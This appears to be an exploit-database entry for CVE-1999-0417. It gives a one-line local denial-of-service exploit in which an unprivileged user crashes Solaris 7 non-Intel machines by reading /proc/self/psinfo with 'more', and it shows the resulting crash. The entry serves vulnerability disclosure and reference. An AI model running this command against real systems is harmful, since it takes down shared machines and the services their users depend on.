Sun Solaris 7.0 - 'procfs' Denial of Service

Author: Toomas Soome
type: dos
platform: solaris
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date_added: 1999-03-09 
date_updated: 2017-11-15 
verified: 1 
codes: CVE-1999-0417;OSVDB-1001 
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source: https://www.securityfocus.com/bid/448/info

A nonpriviliged user can crash any 32 or 64 bit non-intel machine running Solaris 7 by executing the following:

more /proc/self/psinfo

This is due to a bug in the Solaris 7 procfs.

%more /proc/self/psinfo

[crash]